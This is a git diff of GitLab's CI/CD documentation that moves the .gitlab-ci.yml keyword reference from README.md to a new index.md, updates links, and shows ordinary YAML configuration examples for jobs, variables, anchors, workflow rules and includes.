- DATABASE_PASSWORD:
- vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password`
-```
-
-In the detailed form of the syntax, you can specify all details explicitly:
-
-```yaml
-job:
- secrets:
- DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password`
- vault:
- engine:
- name: kv-v2
- path: ops
- path: production/db
- field: password
-```
-
-### `pages`
-
-Use `pages` to upload static content to GitLab. The content
-is then published as a website. You must:
-
-- Place any static content in a `public/` directory.
-- Define [`artifacts`](#artifacts) with a path to the `public/` directory.
-
-The following example moves all files from the root of the project to the
-`public/` directory. The `.public` workaround is so `cp` does not also copy
-`public/` to itself in an infinite loop:
-
-```yaml
-pages:
- stage: deploy
- script:
- - mkdir .public
- - cp -r * .public
- - mv .public public
- artifacts:
- paths:
- - public
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
-```
-
-View the [GitLab Pages user documentation](../../user/project/pages/index.md).
-
-### `inherit`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207484) in GitLab 12.9.
-
-Use `inherit:` to control inheritance of globally-defined defaults
-and variables.
-
-To enable or disable the inheritance of all `default:` or `variables:` keywords, use:
-
-- `default: true` or `default: false`
-- `variables: true` or `variables: false`
-
-To inherit only a subset of `default:` keywords or `variables:`, specify what
-you wish to inherit. Anything not listed is **not** inherited. Use
-one of the following formats:
-
-```yaml
-inherit:
- default: [keyword1, keyword2]
- variables: [VARIABLE1, VARIABLE2]
-```
-
-Or:
-
-```yaml
-inherit:
- default:
- - keyword1
- - keyword2
- variables:
- - VARIABLE1
- - VARIABLE2
-```
-
-In the following example:
-
-- `rubocop`:
- - inherits: Nothing.
-- `rspec`:
- - inherits: the default `image` and the `WEBHOOK_URL` variable.
- - does **not** inherit: the default `before_script` and the `DOMAIN` variable.
-- `capybara`:
- - inherits: the default `before_script` and `image`.
- - does **not** inherit: the `DOMAIN` and `WEBHOOK_URL` variables.
-- `karma`:
- - inherits: the default `image` and `before_script`, and the `DOMAIN` variable.
- - does **not** inherit: `WEBHOOK_URL` variable.
-
-```yaml
-default:
- image: 'ruby:2.4'
- before_script:
- - echo Hello World
-
-variables:
- DOMAIN: example.com
- WEBHOOK_URL: https://my-webhook.example.com
-
-rubocop:
- inherit:
- default: false
- variables: false
- script: bundle exec rubocop
-
-rspec:
- inherit:
- default: [image]
- variables: [WEBHOOK_URL]
- script: bundle exec rspec
-
-capybara:
- inherit:
- variables: false
- script: bundle exec capybara
-
-karma:
- inherit:
- default: true
- variables: [DOMAIN]
- script: karma
-```
-
-## `variables`
-
-> Introduced in GitLab Runner v0.5.0.
-
-[CI/CD variables](../variables/README.md) are configurable values that are passed to jobs.
-They can be set globally and per-job.
-
-There are two types of variables.
-
-- [Custom variables](../variables/README.md#custom-cicd-variables):
- You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI,
- or by using the API. You can also input variables in the GitLab UI when
- [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
-- [Predefined variables](../variables/predefined_variables.md):
- These values are set by the runner itself.
- One example is `CI_COMMIT_REF_NAME`, which is the branch or tag the project is built for.
-
-After you define a variable, you can use it in all executed commands and scripts.
-
-Variables are meant for non-sensitive project configuration, for example:
-
-```yaml
-variables:
- DEPLOY_SITE: "https://example.com/"
-
-deploy_job:
- stage: deploy
- script:
- - deploy-script --url $DEPLOY_SITE --path "/"
-
-deploy_review_job:
- stage: deploy
- variables:
- REVIEW_PATH: "/review"
- script:
- - deploy-review-script --url $DEPLOY_SITE --path $REVIEW_PATH
-```
-
-You can use only integers and strings for the variable's name and value.
-
-If you define a variable at the top level of the `gitlab-ci.yml` file, it is global,
-meaning it applies to all jobs. If you define a variable in a job, it's available
-to that job only.
-
-If a variable of the same name is defined globally and for a specific job, the
-[job-specific variable overrides the global variable](../variables/README.md#cicd-variable-precedence).
-
-All YAML-defined variables are also set to any linked
-[Docker service containers](../services/index.md).
-
-You can use [YAML anchors for variables](#yaml-anchors-for-variables).
-
-### Prefill variables in manual pipelines
-
-> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7.
-
-Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
-when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
-
-```yaml
-variables:
- DEPLOY_ENVIRONMENT:
- value: "staging" # Deploy to staging by default
- description: "The deployment target. Change this variable to 'canary' or 'production' if needed."
-```
-
-You cannot set job-level variables to be pre-filled when you run a pipeline manually.
-
-### Configure runner behavior with variables
-
-You can use [CI/CD variables](../variables/README.md) to configure how the runner processes Git requests:
-
-- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy)
-- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy)
-- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout)
-- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags)
-- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags)
-- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning)
-- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories)
-- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency)
-- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level)
-- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level)
-
-You can also use variables to configure how many times a runner
-[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts).
-
-## YAML-specific features
-
-In your `.gitlab-ci.yml` file, you can use YAML-specific features like anchors (`&`), aliases (`*`),
-and map merging (`<<`). Use these features to reduce the complexity
-of the code in the `.gitlab-ci.yml` file.
-
-Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/).
-
-In most cases, the [`extends` keyword](#extends) is more user friendly and you should
-use it when possible.
-
-You can use YAML anchors to merge YAML arrays.
-
-### Anchors
-
-YAML has a feature called 'anchors' that you can use to duplicate
-content across your document.
-
-Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](#hide-jobs)
-to provide templates for your jobs. When there are duplicate keys, GitLab
-performs a reverse deep merge based on the keys.
-
-You can't use YAML anchors across multiple files when using the [`include`](#include)
-keyword. Anchors are only valid in the file they were defined in. To reuse configuration
-from different YAML files, use [`!reference` tags](#reference-tags) or the
-[`extends` keyword](#extends).
-
-The following example uses anchors and map merging. It creates two jobs,
-`test1` and `test2`, that inherit the `.job_template` configuration, each
-with their own custom `script` defined:
-
-```yaml
-.job_template: &job_configuration # Hidden yaml configuration that defines an anchor named 'job_configuration'
- image: ruby:2.6
- services:
- - postgres
- - redis
-
-test1:
- <<: *job_configuration # Merge the contents of the 'job_configuration' alias
- script:
- - test1 project
-
-test2:
- <<: *job_configuration # Merge the contents of the 'job_configuration' alias
- script:
- - test2 project
-```
-
-`&` sets up the name of the anchor (`job_configuration`), `<<` means "merge the
-given hash into the current one," and `*` includes the named anchor
-(`job_configuration` again). The expanded version of this example is:
-
-```yaml
-.job_template:
- image: ruby:2.6
- services:
- - postgres
- - redis
-
-test1:
- image: ruby:2.6
- services:
- - postgres
- - redis
- script:
- - test1 project
-
-test2:
- image: ruby:2.6
- services:
- - postgres
- - redis
- script:
- - test2 project
-```
-
-You can use anchors to define two sets of services. For example, `test:postgres`
-and `test:mysql` share the `script` defined in `.job_template`, but use different
-`services`, defined in `.postgres_services` and `.mysql_services`:
-
-```yaml
-.job_template: &job_configuration
- script:
- - test project
- tags:
- - dev
-
-.postgres_services:
- services: &postgres_configuration
- - postgres
- - ruby
-
-.mysql_services:
- services: &mysql_configuration
- - mysql
- - ruby
-
-test:postgres:
- <<: *job_configuration
- services: *postgres_configuration
- tags:
- - postgres
-
-test:mysql:
- <<: *job_configuration
- services: *mysql_configuration
-```
-
-The expanded version is:
-
-```yaml
-.job_template:
- script:
- - test project
- tags:
- - dev
-
-.postgres_services:
- services:
- - postgres
- - ruby
-
-.mysql_services:
- services:
- - mysql
- - ruby
-
-test:postgres:
- script:
- - test project
- services:
- - postgres
- - ruby
- tags:
- - postgres
-
-test:mysql:
- script:
- - test project
- services:
- - mysql
- - ruby
- tags:
- - dev
-```
-
-You can see that the hidden jobs are conveniently used as templates, and
-`tags: [postgres]` overwrites `tags: [dev]`.
-
-#### YAML anchors for scripts
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23005) in GitLab 12.5.
-
-You can use [YAML anchors](#anchors) with [script](#script), [`before_script`](#before_script),
-and [`after_script`](#after_script) to use predefined commands in multiple jobs:
-
-```yaml
-.some-script-before: &some-script-before
- - echo "Execute this script first"
-
-.some-script: &some-script
- - echo "Execute this script second"
- - echo "Execute this script too"
-
-.some-script-after: &some-script-after
- - echo "Execute this script last"
-
-job1:
- before_script:
- - *some-script-before
- script:
- - *some-script
- - echo "Execute something, for this job only"
- after_script:
- - *some-script-after
-
-job2:
- script:
- - *some-script-before
- - *some-script
- - echo "Execute something else, for this job only"
- - *some-script-after
-```
-
-#### YAML anchors for variables
-
-Use [YAML anchors](#anchors) with `variables` to repeat assignment
-of variables across multiple jobs. You can also use YAML anchors when a job
-requires a specific `variables` block that would otherwise override the global variables.
-
-The following example shows how override the `GIT_STRATEGY` variable without affecting
-the use of the `SAMPLE_VARIABLE` variable:
-
-```yaml
-# global variables
-variables: &global-variables
- SAMPLE_VARIABLE: sample_variable_value
- ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value
-
-# a job that must set the GIT_STRATEGY variable, yet depend on global variables
-job_no_git_strategy:
- stage: cleanup
- variables:
- <<: *global-variables
- GIT_STRATEGY: none
- script: echo $SAMPLE_VARIABLE
-```
-
-### Hide jobs
-
-If you want to temporarily disable a job, rather than commenting out all the
-lines where the job is defined:
-
-```yaml
-# hidden_job:
-# script:
-# - run test
-```
-
-Instead, you can start its name with a dot (`.`) and it is not processed by
-GitLab CI/CD. In the following example, `.hidden_job` is ignored:
-
-```yaml
-.hidden_job:
- script:
- - run test
-```
-
-Use this feature to ignore jobs, or use the
-[YAML-specific features](#yaml-specific-features) and transform the hidden jobs
-into templates.
-
-### `!reference` tags
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/266173) in GitLab 13.9.
-
-Use the `!reference` custom YAML tag to select keyword configuration from other job
-sections and reuse it in the current section. Unlike [YAML anchors](#anchors), you can
-use `!reference` tags to reuse configuration from [included](#include) configuration
-files as well.
-
-In the following example, a `script` and an `after_script` from two different locations are
-reused in the `test` job:
-
-- `setup.yml`:
-
- ```yaml
- .setup:
- script:
- - echo creating environment
- ```
-
-- `.gitlab-ci.yml`:
-
- ```yaml
- include:
- - local: setup.yml
-
- .teardown:
- after_script:
- - echo deleting environment
-
- test:
- script:
- - !reference [.setup, script]
- - echo running my own command
- after_script:
- - !reference [.teardown, after_script]
- ```
-
-In the following example, `test-vars-1` reuses all the variables in `.vars`, while `test-vars-2`
-selects a specific variable and reuses it as a new `MY_VAR` variable.
-
-```yaml
-.vars:
- variables:
- URL: "http://my-url.internal"
- IMPORTANT_VAR: "the details"
-
-test-vars-1:
- variables: !reference [.vars, variables]
- script:
- - printenv
-
-test-vars-2:
- variables:
- MY_VAR: !reference [.vars, variables, IMPORTANT_VAR]
- script:
- - printenv
-```
-
-You can't reuse a section that already includes a `!reference` tag. Only one level
-of nesting is supported.
-
-## Skip Pipeline
-
-To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any
-capitalization, to your commit message.
-
-Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd).
-The `ci.skip` push option does not skip merge request
-pipelines.
-
-## Processing Git pushes
-
-GitLab creates at most four branch and tag pipelines when
-pushing multiple changes in a single `git push` invocation.
-
-This limitation does not affect any of the updated merge request pipelines.
-All updated merge requests have a pipeline created when using
-[pipelines for merge requests](../merge_request_pipelines/index.md).
-
-## Deprecated keywords
-
-The following keywords are deprecated.
-
-### Globally-defined `types`
-
-WARNING:
-`types` is deprecated, and could be removed in a future release.
-Use [`stages`](#stages) instead.
-
-### Job-defined `type`
-
-WARNING:
-`type` is deprecated, and could be removed in one of the future releases.
-Use [`stage`](#stage) instead.
-
-### Globally-defined `image`, `services`, `cache`, `before_script`, `after_script`
-
-Defining `image`, `services`, `cache`, `before_script`, and
-`after_script` globally is deprecated. Support could be removed
-from a future release.
-
-Use [`default:`](#custom-default-keyword-values) instead. For example:
-
-```yaml
-default:
- image: ruby:3.0
- services:
- - docker:dind
- cache:
- paths: [vendor/]
- before_script:
- - bundle config set path vendor/bundle
- - bundle install
- after_script:
- - rm -rf tmp/
-```
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md
index 266b35bd27f..2723cb19c1f 100644
--- a/doc/ci/yaml/gitlab_ci_yaml.md
+++ b/doc/ci/yaml/gitlab_ci_yaml.md
@@ -6,14 +6,14 @@ type: reference
---
<!-- markdownlint-disable MD044 -->
<!-- vale gitlab.Spelling = NO -->
-# The .gitlab-ci.yml file
+# The .gitlab-ci.yml file **(FREE)**
<!-- vale gitlab.Spelling = YES -->
<!-- markdownlint-enable MD044 -->
To use GitLab CI/CD, you need:
- Application code hosted in a Git repository.
-- A file called [`.gitlab-ci.yml`](README.md) in the root of your repository, which
+- A file called [`.gitlab-ci.yml`](index.md) in the root of your repository, which
contains the CI/CD configuration.
In the `.gitlab-ci.yml` file, you can define:
@@ -27,7 +27,7 @@ In the `.gitlab-ci.yml` file, you can define:
The scripts are grouped into **jobs**, and jobs run as part of a larger
**pipeline**. You can group multiple independent jobs into **stages** that run in a defined order.
-The CI/CD configuration needs at least one job that is [not hidden](README.md#hide-jobs).
+The CI/CD configuration needs at least one job that is [not hidden](index.md#hide-jobs).
You should organize your jobs in a sequence that suits your application and is in accordance with
the tests you wish to perform. To [visualize](../pipeline_editor/index.md#visualize-ci-configuration) the process, imagine
@@ -89,4 +89,4 @@ If anything goes wrong, you can
![rollback button](img/rollback.png)
-[View the full syntax for the `.gitlab-ci.yml` file](README.md).
+[View the full syntax for the `.gitlab-ci.yml` file](index.md).
diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md
index 549a6fb964b..673a4e75c35 100644
--- a/doc/ci/yaml/includes.md
+++ b/doc/ci/yaml/includes.md
@@ -5,10 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# GitLab CI/CD include examples
+# GitLab CI/CD include examples **(FREE)**
-In addition to the [`includes` examples](README.md#include) listed in the
-[GitLab CI YAML reference](README.md), this page lists more variations of `include`
+In addition to the [`includes` examples](index.md#include) listed in the
+[GitLab CI YAML reference](index.md), this page lists more variations of `include`
usage.
## Single string or array of multiple values
diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md
new file mode 100644
index 00000000000..c2b8ef50e6a
--- /dev/null
+++ b/doc/ci/yaml/index.md
@@ -0,0 +1,4935 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+<!-- markdownlint-disable MD044 -->
+<!-- vale gitlab.Spelling = NO -->
+# Keyword reference for the .gitlab-ci.yml file **(FREE)**
+<!-- vale gitlab.Spelling = YES -->
+<!-- markdownlint-enable MD044 -->
+
+This document lists the configuration options for your GitLab `.gitlab-ci.yml` file.
+
+- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md).
+- For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md).
+- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml).
+
+When you are editing your `.gitlab-ci.yml` file, you can validate it with the
+[CI Lint](../lint.md) tool.
+
+## Job keywords
+
+A job is defined as a list of keywords that define the job's behavior.
+
+The keywords available for jobs are:
+
+| Keyword | Description |
+| :-------------------------------------------|:------------|
+| [`after_script`](#after_script) | Override a set of commands that are executed after job. |
+| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. |
+| [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. |
+| [`before_script`](#before_script) | Override a set of commands that are executed before job. |
+| [`cache`](#cache) | List of files that should be cached between subsequent runs. |
+| [`coverage`](#coverage) | Code coverage settings for a given job. |
+| [`dast_configuration`](#dast_configuration) | Use configuration from DAST profiles on a job level. |
+| [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. |
+| [`environment`](#environment) | Name of an environment to which the job deploys. |
+| [`except`](#only--except) | Control when jobs are not created. |
+| [`extends`](#extends) | Configuration entries that this job inherits from. |
+| [`image`](#image) | Use Docker images. |
+| [`include`](#include) | Include external YAML files. |
+| [`inherit`](#inherit) | Select which global defaults all jobs inherit. |
+| [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. |
+| [`needs`](#needs) | Execute jobs earlier than the stage ordering. |
+| [`only`](#only--except) | Control when jobs are created. |
+| [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. |
+| [`parallel`](#parallel) | How many instances of a job should be run in parallel. |
+| [`release`](#release) | Instructs the runner to generate a [release](../../user/project/releases/index.md) object. |
+| [`resource_group`](#resource_group) | Limit job concurrency. |
+| [`retry`](#retry) | When and how many times a job can be auto-retried in case of a failure. |
+| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. |
+| [`script`](#script) | Shell script that is executed by a runner. |
+| [`secrets`](#secrets) | The CI/CD secrets the job needs. |
+| [`services`](#services) | Use Docker services images. |
+| [`stage`](#stage) | Defines a job stage. |
+| [`tags`](#tags) | List of tags that are used to select a runner. |
+| [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. |
+| [`trigger`](#trigger) | Defines a downstream pipeline trigger. |
+| [`variables`](#variables) | Define job variables on a job level. |
+| [`when`](#when) | When to run job. |
+
+### Unavailable names for jobs
+
+You can't use these keywords as job names:
+
+- `image`
+- `services`
+- `stages`
+- `types`
+- `before_script`
+- `after_script`
+- `variables`
+- `cache`
+- `include`
+
+### Custom default keyword values
+
+You can set global defaults for some keywords. Jobs that do not define one or more
+of the listed keywords use the value defined in the `default:` section.
+
+These job keywords can be defined inside a `default:` section:
+
+- [`after_script`](#after_script)
+- [`artifacts`](#artifacts)
+- [`before_script`](#before_script)
+- [`cache`](#cache)
+- [`image`](#image)
+- [`interruptible`](#interruptible)
+- [`retry`](#retry)
+- [`services`](#services)
+- [`tags`](#tags)
+- [`timeout`](#timeout)
+
+The following example sets the `ruby:3.0` image as the default for all jobs in the pipeline.
+The `rspec 2.7` job does not use the default, because it overrides the default with
+a job-specific `image:` section:
+
+```yaml
+default:
+ image: ruby:3.0
+
+rspec:
+ script: bundle exec rspec
+
+rspec 2.7:
+ image: ruby:2.7
+ script: bundle exec rspec
+```
+
+## Global keywords
+
+Some keywords are not defined in a job. These keywords control pipeline behavior
+or import additional pipeline configuration:
+
+| Keyword | Description |
+|-------------------------|:------------|
+| [`stages`](#stages) | The names and order of the pipeline stages. |
+| [`workflow`](#workflow) | Control what types of pipeline run. |
+| [`include`](#include) | Import configuration from other YAML files. |
+
+### `stages`
+
+Use `stages` to define stages that contain groups of jobs. `stages` is defined globally
+for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is
+part of.
+
+The order of the `stages` items defines the execution order for jobs:
+
+- Jobs in the same stage run in parallel.
+- Jobs in the next stage run after the jobs from the previous stage complete successfully.
+
+For example:
+
+```yaml
+stages:
+ - build
+ - test
+ - deploy
+```
+
+1. All jobs in `build` execute in parallel.
+1. If all jobs in `build` succeed, the `test` jobs execute in parallel.
+1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel.
+1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`.
+
+If any job fails, the pipeline is marked as `failed` and jobs in later stages do not
+start. Jobs in the current stage are not stopped and continue to run.
+
+If no `stages` are defined in the `.gitlab-ci.yml` file, then `build`, `test` and `deploy`
+are the default pipeline stages.
+
+If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage.
+
+If a stage is defined, but no jobs use it, the stage is not visible in the pipeline. This is
+useful for [compliance pipeline configuration](../../user/project/settings/index.md#compliance-pipeline-configuration)
+because:
+
+- Stages can be defined in the compliance configuration but remain hidden if not used.
+- The defined stages become visible when developers use them in job definitions.
+
+To make a job start earlier and ignore the stage order, use
+the [`needs`](#needs) keyword.
+
+### `workflow`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5
+
+Use `workflow:` to determine whether or not a pipeline is created.
+Define this keyword at the top level, with a single `rules:` keyword that
+is similar to [`rules:` defined in jobs](#rules).
+
+You can use the [`workflow:rules` templates](#workflowrules-templates) to import
+a preconfigured `workflow: rules` entry.
+
+`workflow: rules` accepts these keywords:
+
+- [`if`](#rulesif): Check this rule to determine when to run a pipeline.
+- [`when`](#when): Specify what to do when the `if` rule evaluates to true.
+ - To run a pipeline, set to `always`.
+ - To prevent pipelines from running, set to `never`.
+- [`variables`](#workflowrulesvariables): If not defined, uses the [variables defined elsewhere](#variables).
+
+When no rules evaluate to true, the pipeline does not run.
+
+Some example `if` clauses for `workflow: rules`:
+
+| Example rules | Details |
+|------------------------------------------------------|-----------------------------------------------------------|
+| `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'` | Control when merge request pipelines run. |
+| `if: '$CI_PIPELINE_SOURCE == "push"'` | Control when both branch pipelines and tag pipelines run. |
+| `if: $CI_COMMIT_TAG` | Control when tag pipelines run. |
+| `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. |
+
+See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples.
+
+In the following example, pipelines run for all `push` events (changes to
+branches and new tags). Pipelines for push events with `-draft` in the commit message
+don't run, because they are set to `when: never`. Pipelines for schedules or merge requests
+don't run either, because no rules evaluate to true for them:
+
+```yaml
+workflow:
+ rules:
+ - if: $CI_COMMIT_MESSAGE =~ /-draft$/
+ when: never
+ - if: '$CI_PIPELINE_SOURCE == "push"'
+```
+
+This example has strict rules, and pipelines do **not** run in any other case.
+
+Alternatively, all of the rules can be `when: never`, with a final
+`when: always` rule. Pipelines that match the `when: never` rules do not run.
+All other pipeline types run:
+
+```yaml
+workflow:
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "schedule"'
+ when: never
+ - if: '$CI_PIPELINE_SOURCE == "push"'
+ when: never
+ - when: always
+```
+
+This example prevents pipelines for schedules or `push` (branches and tags) pipelines.
+The final `when: always` rule runs all other pipeline types, **including** merge
+request pipelines.
+
+If your rules match both branch pipelines and merge request pipelines,
+[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur.
+
+#### `workflow:rules:variables`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/300997) in GitLab 14.1.
+
+You can use [`variables`](#variables) in `workflow:rules:` to define variables for specific pipeline conditions.
+
+For example:
+
+```yaml
+variables:
+ DEPLOY_VARIABLE: "default-deploy"
+
+workflow:
+ rules:
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
+ variables:
+ DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ IS_A_FEATURE: "true" # Define a new variable.
+ - when: always # Run the pipeline in other cases
+
+job1:
+ variables:
+ DEPLOY_VARIABLE: "job1-default-deploy"
+ rules:
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
+ variables: # Override DEPLOY_VARIABLE defined
+ DEPLOY_VARIABLE: "job1-deploy-production" # at the job level.
+ - when: on_success # Run the job in other cases
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+
+job2:
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+```
+
+When the branch is the default branch:
+
+- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`.
+- job2's `DEPLOY_VARIABLE` is `deploy-production`.
+
+When the branch is `feature`:
+
+- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`.
+- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`.
+
+When the branch is something else:
+
+- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`.
+- job2's `DEPLOY_VARIABLE` is `default-deploy`.
+
+#### `workflow:rules` templates
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217732) in GitLab 13.0.
+
+GitLab provides templates that set up `workflow: rules`
+for common scenarios. These templates help prevent duplicate pipelines.
+
+The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml)
+makes your pipelines run for branches and tags.
+
+Branch pipeline status is displayed in merge requests that use the branch
+as a source. However, this pipeline type does not support any features offered by
+[merge request pipelines](../pipelines/merge_request_pipelines.md), like
+[pipelines for merged results](../pipelines/pipelines_for_merged_results.md)
+or [merge trains](../pipelines/merge_trains.md).
+This template intentionally avoids those features.
+
+To [include](#include) it:
+
+```yaml
+include:
+ - template: 'Workflows/Branch-Pipelines.gitlab-ci.yml'
+```
+
+The [`MergeRequest-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml)
+makes your pipelines run for the default branch, tags, and
+all types of merge request pipelines. Use this template if you use any of the
+the [pipelines for merge requests features](../pipelines/merge_request_pipelines.md).
+
+To [include](#include) it:
+
+```yaml
+include:
+ - template: 'Workflows/MergeRequest-Pipelines.gitlab-ci.yml'
+```
+
+#### Switch between branch pipelines and merge request pipelines
+
+> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) GitLab 13.8.
+
+To make the pipeline switch from branch pipelines to merge request pipelines after
+a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file.
+
+If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines)
+might run at the same time. To prevent duplicate pipelines, use the
+[`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md).
+
+The following example is for a project that runs branch and merge request pipelines only,
+but does not run pipelines for any other case. It runs:
+
+- Branch pipelines when a merge request is not open for the branch.
+- Merge request pipelines when a merge request is open for the branch.
+
+```yaml
+workflow:
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+ - if: '$CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS'
+ when: never
+ - if: '$CI_COMMIT_BRANCH'
+```
+
+If the pipeline is triggered by:
+
+- A merge request, run a merge request pipeline. For example, a merge request pipeline
+ can be triggered by a push to a branch with an associated open merge request.
+- A change to a branch, but a merge request is open for that branch, do not run a branch pipeline.
+- A change to a branch, but without any open merge requests, run a branch pipeline.
+
+You can also add a rule to an existing `workflow` section to switch from branch pipelines
+to merge request pipelines when a merge request is created.
+
+Add this rule to the top of the `workflow` section, followed by the other rules that
+were already present:
+
+```yaml
+workflow:
+ rules:
+ - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS && $CI_PIPELINE_SOURCE == "push"
+ when: never
+ - ... # Previously defined workflow rules here
+```
+
+[Triggered pipelines](../triggers/index.md) that run on a branch have a `$CI_COMMIT_BRANCH`
+set and could be blocked by a similar rule. Triggered pipelines have a pipeline source
+of `trigger` or `pipeline`, so `&& $CI_PIPELINE_SOURCE == "push"` ensures the rule
+does not block triggered pipelines.
+
+### `include`
+
+> [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Free in 11.4.
+
+Use `include` to include external YAML files in your CI/CD configuration.
+You can break down one long `gitlab-ci.yml` file into multiple files to increase readability,
+or reduce duplication of the same configuration in multiple places.
+
+You can also store template files in a central repository and `include` them in projects.
+
+`include` requires the external YAML file to have the extensions `.yml` or `.yaml`,
+otherwise the external file is not included.
+
+You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`.
+You can only refer to anchors in the same file. To reuse configuration from different
+YAML files, use [`!reference` tags](#reference-tags) or the [`extends` keyword](#extends).
+
+`include` supports the following inclusion methods:
+
+| Keyword | Method |
+|:--------------------------------|:------------------------------------------------------------------|
+| [`local`](#includelocal) | Include a file from the local project repository. |
+| [`file`](#includefile) | Include a file from a different project repository. |
+| [`remote`](#includeremote) | Include a file from a remote URL. Must be publicly accessible. |
